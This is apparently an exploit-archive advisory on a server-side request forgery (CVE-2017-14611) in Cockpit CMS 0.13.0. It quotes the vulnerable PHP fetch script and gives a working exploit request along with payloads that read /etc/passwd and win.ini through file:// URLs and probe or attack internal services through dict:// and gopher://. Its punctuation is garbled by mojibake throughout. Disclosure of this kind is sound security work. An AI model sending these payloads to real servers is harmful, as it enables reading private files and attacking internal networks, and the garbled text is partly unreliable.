Cockpit CMS 0.13.0 Server Side Request Forgery

Cockpit CMS version 0.13.0 suffers from a server-side request forgery vulnerability.


MD5 | a8f5621bbb2134b06037d093d935393e

# SSRFPS"Server Side Request ForgeryPS(c) in Cockpit CMS 0.13.0 (CVE-2017-14611)

The Cockpit CMS is awesome if you need a flexible content structure but don't want to be limited in how to use the content.

## Product Download: https://getcockpit.com/

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Cockpit CMS uses a `fetch_url_contents` PS"https://github.com/aheinze/fetch_url_contentsPS(c)project code on github website, This Project has SSRF VulnerabilityPS!So affect the system.

The vulnerability codePS"/assets/lib/fuc.js.phpPS(c):

if (isset($_REQUEST['url'])) {

// allow only query from same host
echo(parse_url($_SERVER['HTTP_REFERER'],PHP_URL_HOST));

if ($_SERVER['HTTP_HOST'] != parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST)) {
header('HTTP/1.0 401 Unauthorized');
return;
}

$url = $_REQUEST['url'];
$content = '';

if (function_exists('curl_exec')){
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($conn, CURLOPT_FRESH_CONNECT, true);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17');
curl_setopt($conn, CURLOPT_AUTOREFERER, true);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_VERBOSE, 0);
$content = curl_exec($conn);
curl_close($conn);
}
if (!$content && function_exists('file_get_contents')){
$content = @file_get_contents($url);
}
if (!$content && function_exists('fopen') && function_exists('stream_get_contents')){
$handle = @fopen ($url, "r");
$content = @stream_get_contents($handle);
}

if (!$content) {
header('HTTP/1.0 503 Service Unavailable');
}

return print($content);
}


## Exploit

GET /assets/lib/fuc.js.php?url=dict://127.0.0.1:3306 HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
referer:http://127.0.0.1/index.php

modify the above url parameterPS!examplePS!file:

request http(s) protocol: url=http(s)://www.google.com

file readPSourl=file:///etc/passwd or url=file:///c:/windows/win.ini

If the curl function is available,then use gopher!C/tftp!C/http!C/https!C/dict!C/ldap!C/file!C/imap!C/pop3!C/smtp!C/telnet protocols methodPS!if not then only use http!C/https!C/ftp protocol

scan prot,example: url=dict://127.0.0.1:3306
use gopher protocol: url=gopher://127.0.0.1:3306

If the curl function is unavailable,this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.

## Versions

Cockpit 0.13.0

## Impact

SSRF(Server Side Request Forgery) in Cockpit 0.13.0 version allow remote attackers to arbitrary files readPS!scan network portPS!information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14611




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